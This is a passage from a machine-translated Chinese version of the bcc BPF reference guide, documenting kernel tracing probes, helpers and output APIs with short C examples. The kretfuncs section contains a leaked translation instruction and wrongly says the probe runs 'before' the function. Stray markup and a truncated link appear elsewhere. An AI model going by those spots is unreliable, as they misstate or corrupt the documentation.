BPF\_STACK\_TRACE](#5-bpf_stack_trace) - - [6. BPF\_PERF\_ARRAY](#6-bpf_perf_array) - - [7. BPF\_PERCPU\_HASH](#7-bpf_percpu_hash) - - [8. BPF\_PERCPU\_ARRAY](#8-bpf_percpu_array) - - [9. BPF\_LPM\_TRIE](#9-bpf_lpm_trie) - - [10. BPF\_PROG\_ARRAY](#10-bpf_prog_array) - - [11. BPF\_DEVMAP](#11-bpf_devmap) - - [12. BPF\_CPUMAP](#12-bpf_cpumap) - - [13. BPF\_XSKMAP](#13-bpf_xskmap) - - [14. BPF\_ARRAY\_OF\_MAPS](#14-bpf_array_of_maps) - - [15. BPF\_HASH\_OF\_MAPS](#15-bpf_hash_of_maps) - - [16. BPF\_STACK](#16-bpf_stack) - - [17. BPF\_QUEUE](#17-bpf_queue) - - [18. BPF\_SOCKHASH](#18-bpf_sockhash) - - [19. map.lookup()](#19-maplookup) - - [20. map.lookup\_or\_try\_init()](#20-maplookup_or_try_init) - - [21. map.delete()](#21-mapdelete) - - [22. map.update()](#22-mapupdate) - - [23. map.insert()](#23-mapinsert) - - [24. map.increment()](#24-mapincrement) - - [25. map.get\_stackid()](#25-mapget_stackid) - - [26. map.perf\_read()](#26-mapperf_read) - - [27. map.call()](#27-mapcall) - - [28. map.redirect\_map()](#28-mapredirect_map) - - [29. map.push()](#29-mappush) - - [30. map.pop()](#30-mappop) - - [31. map.peek()](#31-mappeek) - - [32. map.sock\_hash\_update()](#32-mapsock_hash_update) - - [33. map.msg\_redirect\_hash()](#33-mapmsg_redirect_hash) - - [34. map.sk\_redirect\_hash()](#34-mapsk_redirect_hash) - - [许可证](#许可证) - - [Rewriter](#rewriter) -- [bcc Python](#bcc-python) - - [初始化](#初始化) - - [1. BPF](#1-bpf) - - [事件](#事件) - - [1. attach\_kprobe()](#1-attach_kprobe) - - [2. attach\_kretprobe()](#2-attach_kretprobe) - - [3. attach\_tracepoint()](#3-attach_tracepoint) - - [4. attach\_uprobe()](#4-attach_uprobe) - - [5. attach\_uretprobe()](#5-attach_uretprobe) - - [6. USDT.enable\_probe()](#6-usdtenable_probe) - - [7. attach\_raw\_tracepoint()](#7-attach_raw_tracepoint) - - [8. attach\_raw\_socket()](#8-attach_raw_socket) - - [9. attach\_xdp()](#9-attach_xdp) - - [1. XDP\_FLAGS\_UPDATE\_IF\_NOEXIST](#1-xdp_flags_update_if_noexist) - - [2. XDP\_FLAGS\_SKB\_MODE](#2-xdp_flags_skb_mode) - - [3. XDP\_FLAGS\_DRV\_MODE](#3-xdp_flags_drv_mode) - - [4. XDP\_FLAGS\_HW\_MODE](#4-xdp_flags_hw_mode) - - [10. attach\_func()](#10-attach_func) - - [12. detach\_kprobe()](#12-detach_kprobe) - - [13. detach\_kretprobe()](#13-detach_kretprobe) - - [调试输出](#调试输出) - - [1. trace\_print()](#1-trace_print) - - [2. trace\_fields()](#2-trace_fields) - - [输出 API](#输出-api) - - [1. perf\_buffer\_poll()](#1-perf_buffer_poll) - - [2. ring\_buffer\_poll()](#2-ring_buffer_poll) - - [3. ring\_buffer\_consume()](#3-ring_buffer_consume) - - [Map APIs](#map-apis) - - [1. get\_table()](#1-get_table) - - [2. open\_perf\_buffer()](#2-open_perf_buffer) - - [4. values()](#4-values) - - [5. clear()](#5-clear) - - [6. items\_lookup\_and\_delete\_batch()](#6-items_lookup_and_delete_batch) - - [7. items\_lookup\_batch()](#7-items_lookup_batch) - - [8. items\_delete\_batch()](#8-items_delete_batch) - - [9. items\_update\_batch()](#9-items_update_batch) - - [11. print\_linear\_hist()".语法: ```table.print_linear_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)```](#11-print_linear_hist语法-tableprint_linear_histval_typevalue-section_headerbucket-ptr-section_print_fnnone) - - [12. open\_ring\_buffer()](#12-open_ring_buffer) - - [13. push()](#13-push) - - [14. pop()](#14-pop) - - [15. peek()](#15-peek) - - [辅助方法](#辅助方法) - - [1. ksym()](#1-ksym) - - [2. ksymname()](#2-ksymname) - - [3. sym()](#3-sym) - - [4. num\_open\_kprobes()](#4-num_open_kprobes) - - [5. get\_syscall\_fnname()](#5-get_syscall_fnname) -- [BPF 错误](#bpf-错误) - - [1. Invalid mem access](#1-invalid-mem-access) - - [2. 无法从专有程序调用 GPL-only 函数](#2-无法从专有程序调用-gpl-only-函数) -- [环境变量](#环境变量) - - [1. 内核源代码目录](#1-内核源代码目录) - - [2. 内核版本覆盖](#2-内核版本覆盖) - -# BPF C - -本节介绍了 bcc 程序的 C 部分。 - -## Events & Arguments - -### 1. kprobes - -语法:kprobe__*kernel_function_name* - -```kprobe__``` 是一个特殊的前缀,用于创建一个 kprobe(对内核函数调用的动态跟踪),后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数,然后使用 Python 的 ```BPF.attach_kprobe()```(稍后会介绍)将其与一个内核函数关联起来来使用 kprobe。 - -参数在函数声明中指定:kprobe__*kernel_function_name*(struct pt_regs *ctx [, *argument1* ...]) - -例如: - -```c -int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { - [...] -} -``` - -这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装,并使用以下参数: - -- ```struct pt_regs *ctx```: 寄存器和 BPF 上下文。 -- ```struct sock *sk```: tcp_v4_connect() 的第一个参数。 - -第一个参数始终是 ```struct pt_regs *```,其余的是函数的参数(如果你不打算使用它们,则不需要指定)。 - -示例代码: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L28)([输出结果](https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8)),"."[code](https://github.com/iovisor/bcc/commit/310ab53710cfd46095c1f6b3e44f1dbc8d1a41d8#diff-8cd1822359ffee26e7469f991ce0ef00R26) ([output](https://github.com/iovisor/bcc/blob/3b9679a3bd9b922c736f6061dc65cb56de7e0250/examples/tracing/bitehist_example.txt#L6)) - - - -### 2. kretprobes - -语法: kretprobe__*kernel_function_name* - -```kretprobe__```是一个特殊的前缀,它创建了一个kretprobe(对提供的内核函数名进行动态追踪,跟踪内核函数的返回)。您也可以通过声明一个普通的C函数,然后使用Python的```BPF.attach_kretprobe()```(稍后介绍)将其与内核函数关联起来,来使用kretprobes。 - -返回值可用作```PT_REGS_RC(ctx)```,给定函数声明为:kretprobe__*kernel_function_name*(struct pt_regs *ctx) - -例如: - -```C -int kretprobe__tcp_v4_connect(struct pt_regs *ctx) -{ - int ret = PT_REGS_RC(ctx); - [...] -} -``` - -这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测,并将返回值存储在```ret```中。 - -现有的用法示例: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L38) ([output](https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8)) - -### 3. Tracepoints - -语法: TRACEPOINT_PROBE(*category*, *event*) - -这是一个宏,用于对由*category*:*event*定义的tracepoint进行追踪。 - -tracepoint名称为`:`。 -probe函数名为`tracepoint____`。 - -参数在一个```args```结构体中可用,这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/*category*/*event*/format下查看相关的格式文件。"`args` 结构体可用于替代 `ctx`,作为需要上下文作为参数的每个函数中的参数。这包括特别是 [perf_submit()](#3-perf_submit)。 - -例如: - -```C -TRACEPOINT_PROBE(random, urandom_read) { - // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -} -``` - -这会给 `random:urandom_read` 追踪点注入代码,并打印出追踪点参数 `got_bits`。 -在使用 Python API 时,此探针会自动附加到正确的追踪点目标上。 -对于 C++,可以通过明确指定追踪点目标和函数名来附加此追踪点探针: -`BPF::attach_tracepoint("random:urandom_read", "tracepoint__random__urandom_read")` -注意,上面定义的探针函数的名称是 `tracepoint__random__urandom_read`。 - -实际示例: -[code](https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread.py#L19) ([output](https://github.com/iovisor/bcc/commit/e422f5e50ecefb96579b6391a2ada7f6367b83c4#diff-41e5ecfae4a3b38de5f4e0887ed160e5R10)), -[search /examples](https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Atools&type=Code) - -### 4. uprobes - -这些是通过在 C 中声明一个普通函数,然后在 Python 中通过 `BPF.attach_uprobe()` 将其关联为 uprobes 探针来进行注入的(稍后会介绍)。 - -可以使用 `PT_REGS_PARM` 宏来检查参数。 - -例如: - -```C -int count(struct pt_regs *ctx) { - char buf[64]; - bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); - bpf_trace_printk("%s %d", buf, PT_REGS_PARM2(ctx)); - return(0); -} -``` - -这将读取第一个参数作为字符串,然后用第二个参数作为整数打印出来。 - -实际示例: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_count.py#L26)。### 5。uretprobes - -这些是通过在C中声明一个普通函数,然后在Python中通过```BPF.attach_uretprobe()```将其关联为uretprobe探测点(稍后详述)来进行插装的。 - -返回值可以通过```PT_REGS_RC(ctx)```访问,前提是有一个如下声明的函数:*function_name*(struct pt_regs *ctx) - -例如: - -```C -BPF_HISTOGRAM(dist); -int count(struct pt_regs *ctx) { - dist.increment(PT_REGS_RC(ctx)); - return 0; -} -``` - -这会递增由返回值索引的```dist```直方图中的存储桶。 - -现场演示示例: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L39) ([output](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L15)), -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/tools/bashreadline.py) ([output](https://github.com/iovisor/bcc/commit/aa87997d21e5c1a6a20e2c96dd25eb92adc8e85d#diff-2fd162f9e594206f789246ce97d62cf0R7)) - -### 6. USDT探测点 - -这些是用户静态定义追踪(USDT)探测点,可以放置在某些应用程序或库中,以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是```enable_probe()```。通过在C中声明一个普通函数,然后在Python中通过```USDT.enable_probe()```将其关联为USDT探测点来进行插装。 - -可以通过以下方式读取参数:bpf_usdt_readarg(*index*, ctx, &addr) - -例如: - -```C -int do_trace(struct pt_regs *ctx) { - uint64_t addr; - char path[128]; - bpf_usdt_readarg(6, ctx, &addr); - bpf_probe_read_user(&path, sizeof(path), (void *)addr); - bpf_trace_printk("path:%s\\n", path); - return 0; -}; -``` - -这会读取第六个USDT参数,然后将其作为字符串存储到```path```中。当使用C API中的```BPF::init```的第三个参数进行USDT的初始化时,如果任何USDT无法进行```init```,则整个```BPF::init```都会失败。如果您对一些USDT无法进行```init```感到满意,则在调用```BPF::init```之前使用```BPF::init_usdt```。 - -### 7. 原始跟踪点 - -语法:RAW_TRACEPOINT_PROBE(*event*) - -这是一个宏,用于仪表化由*event*定义的原始跟踪点。 - -该参数是指向结构体```bpf_raw_tracepoint_args```的指针,该结构体定义在[bpf.h](https://github.com/iovisor/bcc/blob/master/src/cc/compat/linux/virtual_bpf.h)中。结构体字段```args```包含了原始跟踪点的所有参数,可以在[include/trace/events](https://github.com/torvalds/linux/tree/master/include/trace/events)目录中找到。 - -例如: - -```C -RAW_TRACEPOINT_PROBE(sched_switch) -{ - // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) - struct task_struct *prev = (struct task_struct *)ctx->args[1]; - struct task_struct *next= (struct task_struct *)ctx->args[2]; - s32 prev_tgid, next_tgid; - - bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); - bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); - bpf_trace_printk("%d -> %d\\n", prev_tgid, next_tgid); -} -``` - -这将仪表化sched:sched_switch跟踪点,并打印prev和next tgid。 - -### 8. 系统调用跟踪点 - -语法:```syscall__SYSCALLNAME```。```syscall__```是一个特殊的前缀,用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数,然后使用Python的```BPF.get_syscall_fnname(SYSCALLNAME)```和```BPF.attach_kprobe()```来使用它。 - -参数在函数声明中指定: ```syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...])```. - -例如: - -```C -int syscall__execve(struct pt_regs *ctx, - const char __user *filename, - const char __user *const __user *__argv, - const char __user *const __user *__envp) -{ - [...] -} -``` - -这将对execve系统调用进行探查。 - -第一个参数始终是```struct pt_regs *```,其余的参数是函数的参数(如果您不打算使用它们,则无需指定)。 - -相应的Python代码: - -```Python -b = BPF(text=bpf_text) -execve_fnname = b.get_syscall_fnname("execve") -b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") -``` - -示例: -[code](https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop.py#L101) ([output](https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop_example.txt#L8)) - -### 9. kfuncs - -语法:KFUNC_PROBE(*function*, typeof(arg1) arg1, typeof(arg2) arge ...) - -这是一个通过跳板来在内核函数执行**之前**对其进行探查的宏。它由*function*名称和*argX*定义的函数参数组成。 - -例如: - -```C -KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode) -{ - ... -} -``` - -这将对do_sys_open内核函数进行探查,并将其参数作为标准参数值访问。 - -示例: -[search /tools](https://github.com/iovisor/bcc/search?q=KFUNC_PROBE+path%3Atools&type=Code) - -### 10. kretfuncs - -语法:KRETFUNC_PROBE(*event*, typeof(arg1) arg1, typeof(arg2) arge ..., int ret) - -这是一个通过跳板来在内核函数执行**之前**探查的宏。 -格式:仅返回翻译后的内容,不包括原始文本。*在*函数执行之后。它由*函数*名称和定义为*argX*的函数参数定义。 - -探针的最后一个参数是检测函数的返回值。 - -例如: - -```C -KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret) -{ - ... -``` - -这会对do_sys_open内核函数进行检测,并将其参数作为标准参数值一起与其返回值一起提取。 - -原地示例: -[搜索 /tools](https://github.com/iovisor/bcc/search?q=KRETFUNC_PROBE+path%3Atools&type=Code) - -### 11. LSM Probes - -语法:LSM_PROBE(*hook*, typeof(arg1) arg1, typeof(arg2) arg2 ...) - -这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 -它通过指定挂钩名及其参数来定义。 - -可以在 -[include/linux/security.h](https://github.com/torvalds/linux/blob/v5.15/include/linux/security.h#L260) -中找到挂钩名称,方法是取security_hookname之类的函数名,然后只保留`hookname`部分。 -例如,`security_bpf`仅变成了`bpf`。 - -与其他BPF程序类型不同,LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功,而 -任何非零的返回值都会导致挂钩失败和拒绝安全操作。 - -以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测: - -```C -LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) -{ - return -EPERM; -} -``` - -这会对`security_bpf`挂钩进行检测,并导致其返回`-EPERM`。 -将`return -EPERM`更改为`return 0`会导致BPF程序允许该操作。 - -LSM探针需要至少一个5.7+内核,并设置了以下配置选项: - -- `CONFIG_BPF_LSM=y` -- `CONFIG_LSM` 逗号分隔的字符串必须包含"bpf"(例如, - `CONFIG_LSM="lockdown,yama,bpf"`) - -原地示例:"[搜索/tests](https://github.com/iovisor/bcc/search?q=LSM_PROBE+path%3Atests&type=Code) - -### 12. BPF迭代器 - -语法: BPF_ITER(target) - -这是一个宏,用于定义一个bpf迭代器程序的程序签名。参数 *target* 指定要迭代的内容。 - -目前,内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 [tools/testing/selftests/bpf/prog_test/bpf_iter.c](https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/prog_tests/bpf_iter.c) ,一些示例bpf迭代器程序位于 [tools/testing/selftests/bpf/progs](https://github.com/torvalds/linux/tree/master/tools/testing/selftests/bpf/progs) ,其中文件名以 *bpf_iter* 为前缀。 - -以下示例为 *task* 目标定义了一个程序,该程序遍历内核中的所有任务。 - -```C -BPF_ITER(task) -{ - struct seq_file *seq = ctx->meta->seq; - struct task_struct *task = ctx->task; - - if (task == (void *)0) - return 0; - - ... task->pid, task->tgid, task->comm, ... - return 0; -} -``` - -在5.8内核中引入了BPF迭代器,可以用于任务(task)、任务文件(task_file)、bpf map、netlink_sock和ipv6_route。在5.9中,对tcp/udp socket和bpf map元素(hashmap、arraymap和sk_local_storage_map)遍历添加了支持。 - -## 数据 - -### 1. bpf_probe_read_kernel() - -语法: ```int bpf_probe_read_kernel(void *dst, int size, const void*src)``` - -返回值: 成功时返回0 - -该函数将从内核地址空间复制size字节到BPF堆栈,以便BPF之后可以对其进行操作。为了安全起见,所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下,比如解引用内核变量时,这会自动发生,因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。 - -现场示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Aexamples&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Atools&type=Code) - -### 2. bpf_probe_read_kernel_str()".```shell - -语法:```int bpf_probe_read_kernel_str(void *dst, int size, const void*src)``` - -返回值: - -- \> 0 成功时字符串长度(包括结尾的NULL字符) -- \< 0 出错 - -该函数将一个以`NULL`结尾的字符串从内核地址空间复制到BPF堆栈中,以便BPF以后可以对其进行操作。如果字符串的长度小于size,则目标不会用更多的`NULL`字节进行填充。如果字符串的长度大于size,则只会复制`size - 1`个字节,并将最后一个字节设置为`NULL`。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Atools&type=Code) - -### 3. bpf_ktime_get_ns() - -语法:```u64 bpf_ktime_get_ns(void)``` - -返回值:u64 纳秒数。从系统启动时间开始计数,但在挂起期间停止计数。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Atools&type=Code) - -### 4. bpf_get_current_pid_tgid() - -语法:```u64 bpf_get_current_pid_tgid(void)``` - -返回值:```current->tgid << 32 | current->pid``` - -返回进程ID位于低32位(内核视图的PID,在用户空间通常表示为线程ID),线程组ID位于高32位(在用户空间通常被认为是PID)。通过直接设置为u32类型,我们丢弃了高32位。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Atools&type=Code) - -### 5. bpf_get_current_uid_gid() - -语法:```u64 bpf_get_current_uid_gid(void)``` - -返回值:```current_gid << 32 | current_uid``` - -返回用户ID和组ID。 - -示例:[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Aexamples&type=Code), [搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Atools&type=Code) - -### 6. bpf_get_current_comm() - -语法: ```bpf_get_current_comm(char *buf, int size_of_buf)``` - -返回值: 成功时返回0 - -将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针,大小至少为TASK_COMM_LEN,该变量在linux/sched.h中定义。例如: - -```C -#include - -int do_trace(struct pt_regs *ctx) { - char comm[TASK_COMM_LEN]; - bpf_get_current_comm(&comm, sizeof(comm)); -[...] -``` - -现有示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Aexamples&type=Code), [搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Atools&type=Code) - -### 7. bpf_get_current_task() - -语法: ```bpf_get_current_task()``` - -返回值: 返回指向当前任务的struct task_struct指针。 - -返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间,标识内核线程,获取当前CPU的运行队列或检索许多其他信息。 - -在Linux 4.13中,由于字段随机化的问题,您可能需要在包含之前定义两个#define指令: - -```C -#define randomized_struct_fields_start struct { -#define randomized_struct_fields_end }; -#include - -int do_trace(void *ctx) { - struct task_struct *t = (struct task_struct *)bpf_get_current_task(); -[...] -``` - -现有示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Aexamples&type=Code), [搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Atools&type=Code) - -### 8. bpf_log2l() - -语法: ```unsigned int bpf_log2l(unsigned long v)``` - -返回提供的值的log-2。这通常用于创建直方图的索引,以构建2的幂次直方图。在原地示例: - -[搜索/示例](https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Aexamples&type=Code), -[搜索/工具](https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Atools&type=Code) - -### 9. bpf_get_prandom_u32() - -语法:```u32 bpf_get_prandom_u32()``` - -返回一个伪随机的 u32。 - -在原地示例: - -[搜索/示例](https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Aexamples&type=Code), -[搜索/工具](https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Atools&type=Code) - -### 10. bpf_probe_read_user() - -语法:```int bpf_probe_read_user(void *dst, int size, const void*src)``` - -返回值:成功时返回0 - -该函数尝试安全地从用户地址空间读取size个字节到BPF栈中,以便BPF之后可以操作它。为确保安全,所有用户地址空间内存读取必须通过bpf_probe_read_user()。 - -在原地示例: - -[搜索/示例](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Aexamples&type=Code), -[搜索/工具](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Atools&type=Code) - -### 11. bpf_probe_read_user_str() - -语法:```int bpf_probe_read_user_str(void *dst, int size, const void*src)``` - -返回值: - -- \> 0 成功时返回字符串长度(包括结尾的NULL) -- \< 0 错误 - -该函数将一个以`NULL`结尾的字符串从用户地址空间复制到BPF栈中,以便BPF之后可以操作它。如果字符串长度小于size,则目标不会用额外的`NULL`字节填充。如果字符串长度大于size,则只会复制`size - 1`字节,并将最后一字节设置为`NULL`。 - -在原地示例: - -[搜索/示例](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Aexamples&type=Code), -[搜索/工具](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Atools&type=Code) - -### 12. bpf_get_ns_current_pid_tgid() - -语法:```u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)```。从当前**命名空间**中看到的*pid*和*tgid*的值将在*nsdata*中返回。 - -成功返回0,失败时返回以下之一: - -- 如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配,或者dev转换为dev_t丢失了高位,则返回**-EINVAL**。 - -- 如果当前任务的pidns不存在,则返回**-ENOENT**。 - -原地示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Atools&type=Code) - -## 调试 - -### 1. bpf_override_return() - -语法:```int bpf_override_return(struct pt_regs *, unsigned long rc)``` - -返回值:成功时返回0 - -当用于附加到函数入口的程序时,会导致该函数的执行被跳过,立即返回`rc`。这用于目标错误注入。 - -仅当允许错误注入时,bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 `ALLOW_ERROR_INJECTION()` 的标签;参考 `io_ctl_init` 的示例。如果该函数未被加入白名单,bpf程序将无法附加,出现 `ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument` 错误。 - -```C -int kprobe__io_ctl_init(void *ctx) { - bpf_override_return(ctx, -ENOMEM); - return 0; -} -``` - -## 输出 - -### 1. bpf_trace_printk() - -语法:```int bpf_trace_printk(const char *fmt, ...)``` - -返回值:成功时返回0 - -对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的,但有一些限制:最多3个参数,只有一个%s,而且trace_pipe是全局共享的,所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意,与原始内核版本相比,调用这个辅助函数变得更简单,它的第二个参数已经是 ```fmt_size```。 - -原地示例:"[搜索 /示例](https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Aexamples&type=Code), [搜索 /工具](https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Atools&type=Code) - -### 2. BPF_PERF_OUTPUT - -语法:```BPF_PERF_OUTPUT(name)``` - -创建一个BPF表格,通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。 - -例如: - -```C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); - -int hello(struct pt_regs *ctx) { - struct data_t data = {}; - - data.pid = bpf_get_current_pid_tgid(); - data.ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - - events.perf_submit(ctx, &data, sizeof(data)); - - return 0; -} -``` - -输出表格名为```events```,数据通过```events.perf_submit()```推送到该表格。 - -示例中包含以下内容: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Aexamples&type=Code), [搜索 /工具](https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Atools&type=Code) - -### 3. perf_submit() - -语法:```int perf_submit((void *)ctx, (void*)data, u32 data_size)``` - -返回值:成功返回0 - -这是BPF_PERF_OUTPUT表格的一种方法,用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目(最终调用bpf_perf_event_output())。 - -```ctx```参数在[kprobes](#1-kprobes)或[kretprobes](#2-kretprobes)中提供。对于```SCHED_CLS```或```SOCKET_FILTER```程序,必须使用```struct __sk_buff *skb```。 - -示例中包含以下内容: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=perf_submit+path%3Aexamples&type=Code), [搜索 /工具](https://github.com/iovisor/bcc/search?q=perf_submit+path%3Atools&type=Code) - -### 4. perf_submit_skb() - -语法:```int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size)``` - -返回值:成功返回0".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法,用于将自定义事件数据和数据包缓冲区的前```packet_size```字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。(最终调用bpf_perf_event_output()函数。) - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Aexamples&type=Code) -[搜索/tools](https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Atools&type=Code) - -### 5. BPF_RINGBUF_OUTPUT - -语法:```BPF_RINGBUF_OUTPUT(name, page_cnt)``` - -创建一个BPF表,通过一个环形缓冲区将自定义事件数据推送到用户空间。 -```BPF_RINGBUF_OUTPUT```相较于```BPF_PERF_OUTPUT```具有以下几个优点: - -- 缓冲区在所有CPU之间共享,即每个CPU不需要单独分配 -- 支持两种BPF程序的API - - ```map.ringbuf_output()```类似于```map.perf_submit()```(在[ringbuf_output](#6-ringbuf_output)中介绍) - - ```map.ringbuf_reserve()```/```map.ringbuf_submit()```/```map.ringbuf_discard()```将保留缓冲区空间和提交事件的过程分为两步(在[ringbuf_reserve](#7-ringbuf_reserve)、[ringbuf_submit](#8-ringbuf_submit)和[ringbuf_discard](#9-ringbuf_discard)中介绍) -- BPF API不需要访问CPU ctx参数 -- 通过共享的环形缓冲区管理器,在用户空间中具有更高的性能和更低的延迟 -- 支持两种在用户空间中消费数据的方式 - -从Linux 5.8开始,这应该是将事件数据推送到用户空间的首选方法。 - -输出表命名为'事件'。数据通过'事件'。ringbuf_reserve()分配,并通过'事件'。ringbuf_submit()推送到其中。 - -在situ示例: -[搜索/示例](https://github.com/iovisor/bcc/search?q=BPF_RINGBUF_OUTPUT+path%3Aexamples&type=Code), - -### 6. ringbuf_output() - -语法:int ringbuf_output((void *)data,u64 data_size,u64 flags) - -返回:成功返回0 - -标志: - -- ```BPF_RB_NO_WAKEUP```:不发送新数据可用的通知 -- ```BPF_RB_FORCE_WAKEUP```:无条件发送新数据可用的通知 - -BPF_RINGBUF_OUTPUT表的方法,用于将自定义事件数据提交给用户空间。此方法类似于```perf_submit()```,但不需要ctx参数。 - -在situ示例: -[搜索/示例](https://github.com/iovisor/bcc/search?q=ringbuf_output+path%3Aexamples&type=Code), - -### 7. ringbuf_reserve() - -语法:void * ringbuf_reserve(u64 data_size) - -返回:成功时返回数据结构的指针,失败时返回NULL - -BPF_RINGBUF_OUTPUT表的方法,用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与```ringbuf_submit```或```ringbuf_discard```之一配合使用。 - -在situ示例: -[搜索/示例]( - -### 8. ringbuf_submit() - -语法:void ringbuf_submit((void *)data,u64 flags) - -返回:无,始终成功 - -标志:- ```BPF_RB_NO_WAKEUP```: 不发送新数据可用的通知 - -- ```BPF_RB_FORCE_WAKEUP```: 无条件发送新数据可用的通知 - 